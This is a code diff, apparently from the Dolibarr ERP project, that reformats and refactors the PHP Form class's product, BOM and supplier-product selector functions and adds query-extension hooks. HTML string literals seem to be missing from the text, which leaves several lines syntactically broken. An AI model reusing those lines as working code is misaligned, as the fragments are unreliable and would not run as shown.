select_bom($selected = '', $htmlname = 'bom_id', $limit = 0, $status = 1, $type = 0, $showempty = '1', $morecss = '', $nooutput = '', $forcecombo = 0, $TProducts = []) @@ -2461,29 +2506,29 @@ class Form // phpcs:enable global $conf, $user, $langs, $db; - require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; + require_once DOL_DOCUMENT_ROOT . '/product/class/product.class.php'; $error = 0; $out = ''; if (!$forcecombo) { - include_once DOL_DOCUMENT_ROOT.'/core/lib/ajax.lib.php'; + include_once DOL_DOCUMENT_ROOT . '/core/lib/ajax.lib.php'; $events = array(); $out .= ajax_combobox($htmlname, $events, getDolGlobalInt("PRODUIT_USE_SEARCH_TO_SELECT")); } - $out .= ''; $sql = 'SELECT b.rowid, b.ref, b.label, b.fk_product'; - $sql.= ' FROM '.MAIN_DB_PREFIX.'bom_bom as b'; - $sql.= ' WHERE b.entity IN ('.getEntity('bom').')'; - if (!empty($status)) $sql.= ' AND status = '. (int) $status; - if (!empty($type)) $sql.= ' AND bomtype = '. (int) $type; - if (!empty($TProducts)) $sql .= ' AND fk_product IN ('.$this->db->sanitize(implode(',', $TProducts)).')'; - if (!empty($limit)) $sql.= ' LIMIT '. (int) $limit; + $sql .= ' FROM ' . MAIN_DB_PREFIX . 'bom_bom as b'; + $sql .= ' WHERE b.entity IN (' . getEntity('bom') . ')'; + if (!empty($status)) $sql .= ' AND status = ' . (int) $status; + if (!empty($type)) $sql .= ' AND bomtype = ' . (int) $type; + if (!empty($TProducts)) $sql .= ' AND fk_product IN (' . $this->db->sanitize(implode(',', $TProducts)) . ')'; + if (!empty($limit)) $sql .= ' LIMIT ' . (int) $limit; $resql = $db->query($sql); if ($resql) { - if ($showempty) { + if ($showempty) { $out .= ''; + $out .= '>' . $obj->ref . ' - ' . $product->label . ' - ' . $obj->label . ''; } } else { $error++; @@ -2507,30 +2552,31 @@ class Form } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** - * Return list of products for a customer. + * Return list of products for a customer. * Called by select_produits. * - * @param int $selected Preselected product - * @param string $htmlname Name of select html - * @param string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) - * @param int $limit Limit on number of returned lines - * @param int $price_level Level of price to show - * @param string $filterkey Filter on product - * @param int $status -1=Return all products, 0=Products not on sell, 1=Products on sell - * @param int $finished Filter on finished field: 2=No filter - * @param int $outputmode 0=HTML select string, 1=Array - * @param int $socid Thirdparty Id (to get also price dedicated to this customer) - * @param string $showempty '' to not show empty line. Translation key to show an empty line. '1' show empty line with no text. - * @param int $forcecombo Force to use combo box - * @param string $morecss Add more css on select - * @param int $hidepriceinlabel 1=Hide prices in label - * @param string $warehouseStatus Warehouse status filter to group/count stock. Following comma separated filter options can be used. - * 'warehouseopen' = count products from open warehouses, - * 'warehouseclosed' = count products from closed warehouses, - * 'warehouseinternal' = count products from warehouses for internal correct/transfer only - * @param int $status_purchase Purchase status -1=Return all products, 0=Products not on purchase, 1=Products on purchase - * @return array Array of keys for json + * @param int $selected Preselected product + * @param string $htmlname Name of select html + * @param string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) + * @param int $limit Limit on number of returned lines + * @param int $price_level Level of price to show + * @param string $filterkey Filter on product + * @param int $status -1=Return all products, 0=Products not on sell, 1=Products on sell + * @param int $finished Filter on finished field: 2=No filter + * @param int $outputmode 0=HTML select string, 1=Array + * @param int $socid Thirdparty Id (to get also price dedicated to this customer) + * @param string $showempty '' to not show empty line. Translation key to show an empty line. '1' show empty line with no text. + * @param int $forcecombo Force to use combo box + * @param string $morecss Add more css on select + * @param int $hidepriceinlabel 1=Hide prices in label + * @param string $warehouseStatus Warehouse status filter to group/count stock. Following comma separated filter options can be used. + * 'warehouseopen' = count products from open warehouses, + * 'warehouseclosed' = count products from closed warehouses, + * 'warehouseinternal' = count products from warehouses for internal correct/transfer only + * @param int $status_purchase Purchase status -1=Return all products, 0=Products not on purchase, 1=Products on purchase + * @return array|string Array of keys for json */ public function select_produits_list($selected = '', $htmlname = 'productid', $filtertype = '', $limit = 20, $price_level = 0, $filterkey = '', $status = 1, $finished = 2, $outputmode = 0, $socid = 0, $showempty = '1', $forcecombo = 0, $morecss = '', $hidepriceinlabel = 0, $warehouseStatus = '', $status_purchase = -1) { @@ -2542,13 +2588,13 @@ class Form $outarray = array(); // Units - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { $langs->load('other'); } $warehouseStatusArray = array(); if (!empty($warehouseStatus)) { - require_once DOL_DOCUMENT_ROOT.'/product/stock/class/entrepot.class.php'; + require_once DOL_DOCUMENT_ROOT . '/product/stock/class/entrepot.class.php'; if (preg_match('/warehouseclosed/', $warehouseStatus)) { $warehouseStatusArray[] = Entrepot::STATUS_CLOSED; } @@ -2562,19 +2608,27 @@ class Form $selectFields = " p.rowid, p.ref, p.label, p.description, p.barcode, p.fk_country, p.fk_product_type, p.price, p.price_ttc, p.price_base_type, p.tva_tx, p.default_vat_code, p.duration, p.fk_price_expression"; if (count($warehouseStatusArray)) { - $selectFieldsGrouped = ", sum(".$this->db->ifsql("e.statut IS NULL", "0", "ps.reel").") as stock"; // e.statut is null if there is no record in stock + $selectFieldsGrouped = ", sum(" . $this->db->ifsql("e.statut IS NULL", "0", "ps.reel") . ") as stock"; // e.statut is null if there is no record in stock } else { - $selectFieldsGrouped = ", ".$this->db->ifsql("p.stock IS NULL", 0, "p.stock")." AS stock"; + $selectFieldsGrouped = ", " . $this->db->ifsql("p.stock IS NULL", 0, "p.stock") . " AS stock"; } $sql = "SELECT "; - $sql .= $selectFields.$selectFieldsGrouped; + + // Add select from hooks + $parameters = array(); + $reshook = $hookmanager->executeHooks('selectProductsListSelect', $parameters); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + $sql .= $selectFields.$selectFieldsGrouped.$hookmanager->resPrint; + } else { + $sql .= $hookmanager->resPrint; + } if (!empty($conf->global->PRODUCT_SORT_BY_CATEGORY)) { //Product category - $sql .= ", (SELECT ".$this->db->prefix()."categorie_product.fk_categorie - FROM ".$this->db->prefix()."categorie_product - WHERE ".$this->db->prefix()."categorie_product.fk_product=p.rowid + $sql .= ", (SELECT " . $this->db->prefix() . "categorie_product.fk_categorie + FROM " . $this->db->prefix() . "categorie_product + WHERE " . $this->db->prefix() . "categorie_product.fk_product=p.rowid LIMIT 1 ) AS categorie_product_id "; } @@ -2586,7 +2640,7 @@ class Form $selectFields .= ", idprodcustprice, custprice, custprice_ttc, custprice_base_type, custtva_tx, custdefault_vat_code, custref"; } // Units - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { $sql .= ", u.label as unit_long, u.short_label as unit_short, p.weight, p.weight_units, p.length, p.length_units, p.width, p.width_units, p.height, p.height_units, p.surface, p.surface_units, p.volume, p.volume_units"; $selectFields .= ', unit_long, unit_short, p.weight, p.weight_units, p.length, p.length_units, p.width, p.width_units, p.height, p.height_units, p.surface, p.surface_units, p.volume, p.volume_units'; } @@ -2600,83 +2654,89 @@ class Form } // Price by quantity if (!empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY) || !empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY_MULTIPRICES)) { - $sql .= ", (SELECT pp.rowid FROM ".$this->db->prefix()."product_price as pp WHERE pp.fk_product = p.rowid"; + $sql .= ", (SELECT pp.rowid FROM " . $this->db->prefix() . "product_price as pp WHERE pp.fk_product = p.rowid"; if ($price_level >= 1 && !empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY_MULTIPRICES)) { - $sql .= " AND price_level = ".((int) $price_level); + $sql .= " AND price_level = " . ((int) $price_level); } $sql .= " ORDER BY date_price"; $sql .= " DESC LIMIT 1) as price_rowid"; - $sql .= ", (SELECT pp.price_by_qty FROM ".$this->db->prefix()."product_price as pp WHERE pp.fk_product = p.rowid"; // price_by_qty is 1 if some prices by qty exists in subtable + $sql .= ", (SELECT pp.price_by_qty FROM " . $this->db->prefix() . "product_price as pp WHERE pp.fk_product = p.rowid"; // price_by_qty is 1 if some prices by qty exists in subtable if ($price_level >= 1 && !empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY_MULTIPRICES)) { - $sql .= " AND price_level = ".((int) $price_level); + $sql .= " AND price_level = " . ((int) $price_level); } $sql .= " ORDER BY date_price"; $sql .= " DESC LIMIT 1) as price_by_qty"; $selectFields .= ", price_rowid, price_by_qty"; } + $sql .= " FROM ".$this->db->prefix()."product as p"; + // Add from (left join) from hooks + $parameters = array(); + $reshook = $hookmanager->executeHooks('selectProductsListFrom', $parameters); // Note that $action and $object may have been modified by hook + $sql .= $hookmanager->resPrint; + if (count($warehouseStatusArray)) { - $sql .= " LEFT JOIN ".$this->db->prefix()."product_stock as ps on ps.fk_product = p.rowid"; - $sql .= " LEFT JOIN ".$this->db->prefix()."entrepot as e on ps.fk_entrepot = e.rowid AND e.entity IN (".getEntity('stock').")"; - $sql .= ' AND e.statut IN ('.$this->db->sanitize($this->db->escape(implode(',', $warehouseStatusArray))).')'; // Return line if product is inside the selected stock. If not, an empty line will be returned so we will count 0. + $sql .= " LEFT JOIN " . $this->db->prefix() . "product_stock as ps on ps.fk_product = p.rowid"; + $sql .= " LEFT JOIN " . $this->db->prefix() . "entrepot as e on ps.fk_entrepot = e.rowid AND e.entity IN (" . getEntity('stock') . ")"; + $sql .= ' AND e.statut IN (' . $this->db->sanitize($this->db->escape(implode(',', $warehouseStatusArray))) . ')'; // Return line if product is inside the selected stock. If not, an empty line will be returned so we will count 0. } // include search in supplier ref if (!empty($conf->global->MAIN_SEARCH_PRODUCT_BY_FOURN_REF)) { - $sql .= " LEFT JOIN ".$this->db->prefix()."product_fournisseur_price as pfp ON p.rowid = pfp.fk_product"; + $sql .= " LEFT JOIN " . $this->db->prefix() . "product_fournisseur_price as pfp ON p.rowid = pfp.fk_product"; } //Price by customer if (!empty($conf->global->PRODUIT_CUSTOMER_PRICES) && !empty($socid)) { - $sql .= " LEFT JOIN ".$this->db->prefix()."product_customer_price as pcp ON pcp.fk_soc=".((int) $socid)." AND pcp.fk_product=p.rowid"; + $sql .= " LEFT JOIN " . $this->db->prefix() . "product_customer_price as pcp ON pcp.fk_soc=" . ((int) $socid) . " AND pcp.fk_product=p.rowid"; } // Units - if (!empty($conf->global->PRODUCT_USE_UNITS)) { - $sql .= " LEFT JOIN ".$this->db->prefix()."c_units u ON u.rowid = p.fk_unit"; + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { + $sql .= " LEFT JOIN " . $this->db->prefix() . "c_units u ON u.rowid = p.fk_unit"; } // Multilang : we add translation if (getDolGlobalInt('MAIN_MULTILANGS')) { - $sql .= " LEFT JOIN ".$this->db->prefix()."product_lang as pl ON pl.fk_product = p.rowid "; + $sql .= " LEFT JOIN " . $this->db->prefix() . "product_lang as pl ON pl.fk_product = p.rowid "; if (!empty($conf->global->PRODUIT_TEXTS_IN_THIRDPARTY_LANGUAGE) && !empty($socid)) { - require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; + require_once DOL_DOCUMENT_ROOT . '/societe/class/societe.class.php'; $soc = new Societe($this->db); $result = $soc->fetch($socid); if ($result > 0 && !empty($soc->default_lang)) { - $sql .= " AND pl.lang = '".$this->db->escape($soc->default_lang)."'"; + $sql .= " AND pl.lang = '" . $this->db->escape($soc->default_lang) . "'"; } else { - $sql .= " AND pl.lang = '".$this->db->escape($langs->getDefaultLang())."'"; + $sql .= " AND pl.lang = '" . $this->db->escape($langs->getDefaultLang()) . "'"; } } else { - $sql .= " AND pl.lang = '".$this->db->escape($langs->getDefaultLang())."'"; + $sql .= " AND pl.lang = '" . $this->db->escape($langs->getDefaultLang()) . "'"; } } if (!empty($conf->global->PRODUIT_ATTRIBUTES_HIDECHILD)) { - $sql .= " LEFT JOIN ".$this->db->prefix()."product_attribute_combination pac ON pac.fk_product_child = p.rowid"; + $sql .= " LEFT JOIN " . $this->db->prefix() . "product_attribute_combination pac ON pac.fk_product_child = p.rowid"; } - $sql .= ' WHERE p.entity IN ('.getEntity('product').')'; + $sql .= ' WHERE p.entity IN (' . getEntity('product') . ')'; if (!empty($conf->global->PRODUIT_ATTRIBUTES_HIDECHILD)) { $sql .= " AND pac.rowid IS NULL"; } if ($finished == 0) { - $sql .= " AND p.finished = ".((int) $finished); + $sql .= " AND p.finished = " . ((int) $finished); } elseif ($finished == 1) { - $sql .= " AND p.finished = ".((int) $finished); + $sql .= " AND p.finished = " . ((int) $finished); if ($status >= 0) { - $sql .= " AND p.tosell = ".((int) $status); + $sql .= " AND p.tosell = " . ((int) $status); } } elseif ($status >= 0) { - $sql .= " AND p.tosell = ".((int) $status); + $sql .= " AND p.tosell = " . ((int) $status); } if ($status_purchase >= 0) { - $sql .= " AND p.tobuy = ".((int) $status_purchase); + $sql .= " AND p.tobuy = " . ((int) $status_purchase); } // Filter by product type if (strval($filtertype) != '') { - $sql .= " AND p.fk_product_type = ".((int) $filtertype); + $sql .= " AND p.fk_product_type = " . ((int) $filtertype); } elseif (!isModEnabled('product')) { // when product module is disabled, show services only $sql .= " AND p.fk_product_type = 1"; } elseif (!isModEnabled('service')) { // when service module is disabled, show products only @@ -2700,21 +2760,21 @@ class Form if ($i > 0) { $sql .= " AND "; } - $sql .= "(p.ref LIKE '".$this->db->escape($prefix.$crit)."%' OR p.label LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= "(p.ref LIKE '" . $this->db->escape($prefix . $crit) . "%' OR p.label LIKE '" . $this->db->escape($prefix . $crit) . "%'"; if (getDolGlobalInt('MAIN_MULTILANGS')) { - $sql .= " OR pl.label LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= " OR pl.label LIKE '" . $this->db->escape($prefix . $crit) . "%'"; } if (!empty($conf->global->PRODUIT_CUSTOMER_PRICES) && !empty($socid)) { - $sql .= " OR pcp.ref_customer LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= " OR pcp.ref_customer LIKE '" . $this->db->escape($prefix . $crit) . "%'"; } if (!empty($conf->global->PRODUCT_AJAX_SEARCH_ON_DESCRIPTION)) { - $sql .= " OR p.description LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= " OR p.description LIKE '" . $this->db->escape($prefix . $crit) . "%'"; if (getDolGlobalInt('MAIN_MULTILANGS')) { - $sql .= " OR pl.description LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= " OR pl.description LIKE '" . $this->db->escape($prefix . $crit) . "%'"; } } if (!empty($conf->global->MAIN_SEARCH_PRODUCT_BY_FOURN_REF)) { - $sql .= " OR pfp.ref_fourn LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= " OR pfp.ref_fourn LIKE '" . $this->db->escape($prefix . $crit) . "%'"; } $sql .= ")"; $i++; @@ -2723,12 +2783,12 @@ class Form $sql .= ")"; } if (isModEnabled('barcode')) { - $sql .= " OR p.barcode LIKE '".$this->db->escape($prefix.$filterkey)."%'"; + $sql .= " OR p.barcode LIKE '" . $this->db->escape($prefix . $filterkey) . "%'"; } $sql .= ')'; } if (count($warehouseStatusArray)) { - $sql .= " GROUP BY ".$selectFields; + $sql .= " GROUP BY " . $selectFields; } //Sort by category @@ -2743,23 +2803,23 @@ class Form $sql .= $this->db->plimit($limit, 0); // Build output string - dol_syslog(get_class($this)."::select_produits_list search products", LOG_DEBUG); + dol_syslog(get_class($this) . "::select_produits_list search products", LOG_DEBUG); $result = $this->db->query($sql); if ($result) { - require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; - require_once DOL_DOCUMENT_ROOT.'/product/dynamic_price/class/price_parser.class.php'; - require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; + require_once DOL_DOCUMENT_ROOT . '/product/class/product.class.php'; + require_once DOL_DOCUMENT_ROOT . '/product/dynamic_price/class/price_parser.class.php'; + require_once DOL_DOCUMENT_ROOT . '/core/lib/product.lib.php'; $num = $this->db->num_rows($result); $events = null; if (!$forcecombo) { - include_once DOL_DOCUMENT_ROOT.'/core/lib/ajax.lib.php'; + include_once DOL_DOCUMENT_ROOT . '/core/lib/ajax.lib.php'; $out .= ajax_combobox($htmlname, $events, getDolGlobalInt("PRODUIT_USE_SEARCH_TO_SELECT")); } - $out .= ''; $textifempty = ''; // Do not use textifempty = ' ' or ' ' here, or search on key will search on ' key'. @@ -2776,7 +2836,7 @@ class Form } } if ($showempty) { - $out .= ''; + $out .= ''; } $i = 0; @@ -2787,11 +2847,11 @@ class Form if ((!empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY) || !empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY_MULTIPRICES)) && !empty($objp->price_by_qty) && $objp->price_by_qty == 1) { // Price by quantity will return many prices for the same product $sql = "SELECT rowid, quantity, price, unitprice, remise_percent, remise, price_base_type"; - $sql .= " FROM ".$this->db->prefix()."product_price_by_qty"; - $sql .= " WHERE fk_product_price = ".((int) $objp->price_rowid); + $sql .= " FROM " . $this->db->prefix() . "product_price_by_qty"; + $sql .= " WHERE fk_product_price = " . ((int) $objp->price_rowid); $sql .= " ORDER BY quantity ASC"; - dol_syslog(get_class($this)."::select_produits_list search prices by qty", LOG_DEBUG); + dol_syslog(get_class($this) . "::select_produits_list search prices by qty", LOG_DEBUG); $result2 = $this->db->query($sql); if ($result2) { $nb_prices = $this->db->num_rows($result2); @@ -2828,6 +2888,8 @@ class Form if (isModEnabled('dynamicprices') && !empty($objp->fk_price_expression)) { $price_product = new Product($this->db); $price_product->fetch($objp->rowid, '', '', 1); + + require_once DOL_DOCUMENT_ROOT . '/product/dynamic_price/class/price_parser.class.php'; $priceparser = new PriceParser($this->db); $price_result = $priceparser->parseProduct($price_product); if ($price_result >= 0) { @@ -2857,10 +2919,13 @@ class Form if (empty($outputmode)) { return $out; } + return $outarray; } else { dol_print_error($this->db); } + + return ''; } /** @@ -2868,19 +2933,20 @@ class Form * This define value for &$opt and &$optJson. * This function is called by select_produits_list(). * - * @param resource $objp Resultset of fetch - * @param string $opt Option (var used for returned value in string option format) - * @param string $optJson Option (var used for returned value in json format) - * @param int $price_level Price level - * @param string $selected Preselected value - * @param int $hidepriceinlabel Hide price in label - * @param string $filterkey Filter key to highlight - * @param int $novirtualstock Do not load virtual stock, even if slow option STOCK_SHOW_VIRTUAL_STOCK_IN_PRODUCTS_COMBO is on. - * @return void + * @param object $objp Resultset of fetch + * @param string $opt Option (var used for returned value in string option format) + * @param string $optJson Option (var used for returned value in json format) + * @param int $price_level Price level + * @param string $selected Preselected value + * @param int $hidepriceinlabel Hide price in label + * @param string $filterkey Filter key to highlight + * @param int $novirtualstock Do not load virtual stock, even if slow option STOCK_SHOW_VIRTUAL_STOCK_IN_PRODUCTS_COMBO is on. + * @return void */ protected function constructProductListOption(&$objp, &$opt, &$optJson, $price_level, $selected, $hidepriceinlabel = 0, $filterkey = '', $novirtualstock = 0) { global $langs, $conf, $user; + global $hookmanager; $outkey = ''; $outval = ''; @@ -2907,7 +2973,7 @@ class Form $label = $objp->label_translated; } if (!empty($filterkey) && $filterkey != '') { - $label = preg_replace('/('.preg_quote($filterkey, '/').')/i', '$1', $label, 1); + $label = preg_replace('/(' . preg_quote($filterkey, '/') . ')/i', '$1', $label, 1); } $outkey = $objp->rowid; @@ -2924,36 +2990,36 @@ class Form $outpbq = empty($objp->price_by_qty_rowid) ? '' : $objp->price_by_qty_rowid; $outtype = $objp->fk_product_type; - $outdurationvalue = $outtype == Product::TYPE_SERVICE ?substr($objp->duration, 0, dol_strlen($objp->duration) - 1) : ''; - $outdurationunit = $outtype == Product::TYPE_SERVICE ?substr($objp->duration, -1) : ''; + $outdurationvalue = $outtype == Product::TYPE_SERVICE ? substr($objp->duration, 0, dol_strlen($objp->duration) - 1) : ''; + $outdurationunit = $outtype == Product::TYPE_SERVICE ? substr($objp->duration, -1) : ''; if ($outorigin && !empty($conf->global->PRODUCT_SHOW_ORIGIN_IN_COMBO)) { - require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; + require_once DOL_DOCUMENT_ROOT . '/core/lib/company.lib.php'; } // Units $outvalUnits = ''; - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { if (!empty($objp->unit_short)) { - $outvalUnits .= ' - '.$objp->unit_short; + $outvalUnits .= ' - ' . $objp->unit_short; } } if (!empty($conf->global->PRODUCT_SHOW_DIMENSIONS_IN_COMBO)) { if (!empty($objp->weight) && $objp->weight_units !== null) { $unitToShow = showDimensionInBestUnit($objp->weight, $objp->weight_units, 'weight', $langs); - $outvalUnits .= ' - '.$unitToShow; + $outvalUnits .= ' - ' . $unitToShow; } if ((!empty($objp->length) || !empty($objp->width) || !empty($objp->height)) && $objp->length_units !== null) { - $unitToShow = $objp->length.' x '.$objp->width.' x '.$objp->height.' '.measuringUnitString(0, 'size', $objp->length_units); - $outvalUnits .= ' - '.$unitToShow; + $unitToShow = $objp->length . ' x ' . $objp->width . ' x ' . $objp->height . ' ' . measuringUnitString(0, 'size', $objp->length_units); + $outvalUnits .= ' - ' . $unitToShow; } if (!empty($objp->surface) && $objp->surface_units !== null) { $unitToShow = showDimensionInBestUnit($objp->surface, $objp->surface_units, 'surface', $langs); - $outvalUnits .= ' - '.$unitToShow; + $outvalUnits .= ' - ' . $unitToShow; } if (!empty($objp->volume) && $objp->volume_units !== null) { $unitToShow = showDimensionInBestUnit($objp->volume, $objp->volume_units, 'volume', $langs); - $outvalUnits .= ' - '.$unitToShow; + $outvalUnits .= ' - ' . $unitToShow; } } if ($outdurationvalue && $outdurationunit) { @@ -2965,14 +3031,14 @@ class Form 'y' => $langs->trans('Year') ); if (isset($da[$outdurationunit])) { - $outvalUnits .= ' - '.$outdurationvalue.' '.$langs->transnoentities($da[$outdurationunit].($outdurationvalue > 1 ? 's' : '')); + $outvalUnits .= ' - ' . $outdurationvalue . ' ' . $langs->transnoentities($da[$outdurationunit] . ($outdurationvalue > 1 ? 's' : '')); } } - $opt = '\n"; $optJson = array( - 'key'=>$outkey, - 'value'=>$outref, - 'label'=>$outval, - 'label2'=>$outlabel, - 'desc'=>$outdesc, - 'type'=>$outtype, - 'price_ht'=>price2num($outprice_ht), - 'price_ttc'=>price2num($outprice_ttc), - 'price_ht_locale'=>price(price2num($outprice_ht)), - 'price_ttc_locale'=>price(price2num($outprice_ttc)), - 'pricebasetype'=>$outpricebasetype, - 'tva_tx'=>$outtva_tx, - 'default_vat_code'=>$outdefault_vat_code, - 'qty'=>$outqty, - 'discount'=>$outdiscount, - 'duration_value'=>$outdurationvalue, - 'duration_unit'=>$outdurationunit, - 'pbq'=>$outpbq, - 'labeltrans'=>$outlabel_translated, - 'desctrans'=>$outdesc_translated, - 'ref_customer'=>$outrefcust + 'key' => $outkey, + 'value' => $outref, + 'label' => $outval, + 'label2' => $outlabel, + 'desc' => $outdesc, + 'type' => $outtype, + 'price_ht' => price2num($outprice_ht), + 'price_ttc' => price2num($outprice_ttc), + 'price_ht_locale' => price(price2num($outprice_ht)), + 'price_ttc_locale' => price(price2num($outprice_ttc)), + 'pricebasetype' => $outpricebasetype, + 'tva_tx' => $outtva_tx, + 'default_vat_code' => $outdefault_vat_code, + 'qty' => $outqty, + 'discount' => $outdiscount, + 'duration_value' => $outdurationvalue, + 'duration_unit' => $outdurationunit, + 'pbq' => $outpbq, + 'labeltrans' => $outlabel_translated, + 'desctrans' => $outdesc_translated, + 'ref_customer' => $outrefcust ); } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** - * Return list of products for customer (in Ajax if Ajax activated or go to select_produits_fournisseurs_list) + * Return list of products for customer (in Ajax if Ajax activated or go to select_produits_fournisseurs_list) * - * @param int $socid Id third party - * @param string $selected Preselected product - * @param string $htmlname Name of HTML Select - * @param string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) - * @param string $filtre For a SQL filter - * @param array $ajaxoptions Options for ajax_autocompleter - * @param int $hidelabel Hide label (0=no, 1=yes) - * @param int $alsoproductwithnosupplierprice 1=Add also product without supplier prices - * @param string $morecss More CSS - * @param string $placeholder Placeholder - * @return void + * @param int $socid Id third party + * @param string $selected Preselected product + * @param string $htmlname Name of HTML Select + * @param string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) + * @param string $filtre For a SQL filter + * @param array $ajaxoptions Options for ajax_autocompleter + * @param int $hidelabel Hide label (0=no, 1=yes) + * @param int $alsoproductwithnosupplierprice 1=Add also product without supplier prices + * @param string $morecss More CSS + * @param string $placeholder Placeholder + * @return void */ public function select_produits_fournisseurs($socid, $selected = '', $htmlname = 'productid', $filtertype = '', $filtre = '', $ajaxoptions = array(), $hidelabel = 0, $alsoproductwithnosupplierprice = 0, $morecss = '', $placeholder = '') { @@ -3221,7 +3296,7 @@ class Form $selected_input_value = ''; if (!empty($conf->use_javascript_ajax) && !empty($conf->global->PRODUIT_USE_SEARCH_TO_SELECT)) { if ($selected > 0) { - require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; + require_once DOL_DOCUMENT_ROOT . '/product/class/product.class.php'; $producttmpselect = new Product($this->db); $producttmpselect->fetch($selected); $selected_input_value = $producttmpselect->ref; @@ -3229,32 +3304,34 @@ class Form } // mode=2 means suppliers products - $urloption = ($socid > 0 ? 'socid='.$socid.'&' : '').'htmlname='.$htmlname.'&outjson=1&price_level='.$price_level.'&type='.$filtertype.'&mode=2&status='.$status.'&finished='.$finished.'&alsoproductwithnosupplierprice='.$alsoproductwithnosupplierprice; - print ajax_autocompleter($selected, $htmlname, DOL_URL_ROOT.'/product/ajax/products.php', $urloption, $conf->global->PRODUIT_USE_SEARCH_TO_SELECT, 0, $ajaxoptions); - print ($hidelabel ? '' : $langs->trans("RefOrLabel").' : ').''; + $urloption = ($socid > 0 ? 'socid=' . $socid . '&' : '') . 'htmlname=' . $htmlname . '&outjson=1&price_level=' . $price_level . '&type=' . $filtertype . '&mode=2&status=' . $status . '&finished=' . $finished . '&alsoproductwithnosupplierprice=' . $alsoproductwithnosupplierprice; + print ajax_autocompleter($selected, $htmlname, DOL_URL_ROOT . '/product/ajax/products.php', $urloption, $conf->global->PRODUIT_USE_SEARCH_TO_SELECT, 0, $ajaxoptions); + + print ($hidelabel ? '' : $langs->trans("RefOrLabel") . ' : ') . ''; } else { print $this->select_produits_fournisseurs_list($socid, $selected, $htmlname, $filtertype, $filtre, '', $status, 0, 0, $alsoproductwithnosupplierprice, $morecss, 0, $placeholder); } } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** - * Return list of suppliers products + * Return list of suppliers products * - * @param int $socid Id of supplier thirdparty (0 = no filter) - * @param int $selected Product price pre-selected (must be 'id' in product_fournisseur_price or 'idprod_IDPROD') - * @param string $htmlname Name of HTML select - * @param string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) - * @param string $filtre Generic filter. Data must not come from user input. - * @param string $filterkey Filter of produdts - * @param int $statut -1=Return all products, 0=Products not on buy, 1=Products on buy - * @param int $outputmode 0=HTML select string, 1=Array - * @param int $limit Limit of line number - * @param int $alsoproductwithnosupplierprice 1=Add also product without supplier prices - * @param string $morecss Add more CSS - * @param int $showstockinlist Show stock information (slower). - * @param string $placeholder Placeholder - * @return array Array of keys for json + * @param int $socid Id of supplier thirdparty (0 = no filter) + * @param int $selected Product price pre-selected (must be 'id' in product_fournisseur_price or 'idprod_IDPROD') + * @param string $htmlname Name of HTML select + * @param string $filtertype Filter on product type (''=nofilter, 0=product, 1=service) + * @param string $filtre Generic filter. Data must not come from user input. + * @param string $filterkey Filter of produdts + * @param int $statut -1=Return all products, 0=Products not on buy, 1=Products on buy + * @param int $outputmode 0=HTML select string, 1=Array + * @param int $limit Limit of line number + * @param int $alsoproductwithnosupplierprice 1=Add also product without supplier prices + * @param string $morecss Add more CSS + * @param int $showstockinlist Show stock information (slower). + * @param string $placeholder Placeholder + * @return array|string Array of keys for json or HTML component */ public function select_produits_fournisseurs_list($socid, $selected = '', $htmlname = 'productid', $filtertype = '', $filtre = '', $filterkey = '', $statut = -1, $outputmode = 0, $limit = 100, $alsoproductwithnosupplierprice = 0, $morecss = '', $showstockinlist = 0, $placeholder = '') { @@ -3269,11 +3346,11 @@ class Form $langs->load('stocks'); // Units - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { $langs->load('other'); } - $sql = "SELECT p.rowid, p.ref, p.label, p.price, p.duration, p.fk_product_type, p.stock,"; + $sql = "SELECT p.rowid, p.ref, p.label, p.price, p.duration, p.fk_product_type, p.stock, p.tva_tx as tva_tx_sale, p.default_vat_code as default_vat_code_sale,"; $sql .= " pfp.ref_fourn, pfp.rowid as idprodfournprice, pfp.price as fprice, pfp.quantity, pfp.remise_percent, pfp.remise, pfp.unitprice,"; $sql .= " pfp.fk_supplier_price_expression, pfp.fk_product, pfp.tva_tx, pfp.default_vat_code, pfp.fk_soc, s.nom as name,"; $sql .= " pfp.supplier_reputation"; @@ -3284,31 +3361,31 @@ class Form $sql .= ", p.description"; } // Units - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { $sql .= ", u.label as unit_long, u.short_label as unit_short, p.weight, p.weight_units, p.length, p.length_units, p.width, p.width_units, p.height, p.height_units, p.surface, p.surface_units, p.volume, p.volume_units"; } if (isModEnabled('barcode')) { $sql .= ", pfp.barcode"; } - $sql .= " FROM ".$this->db->prefix()."product as p"; - $sql .= " LEFT JOIN ".$this->db->prefix()."product_fournisseur_price as 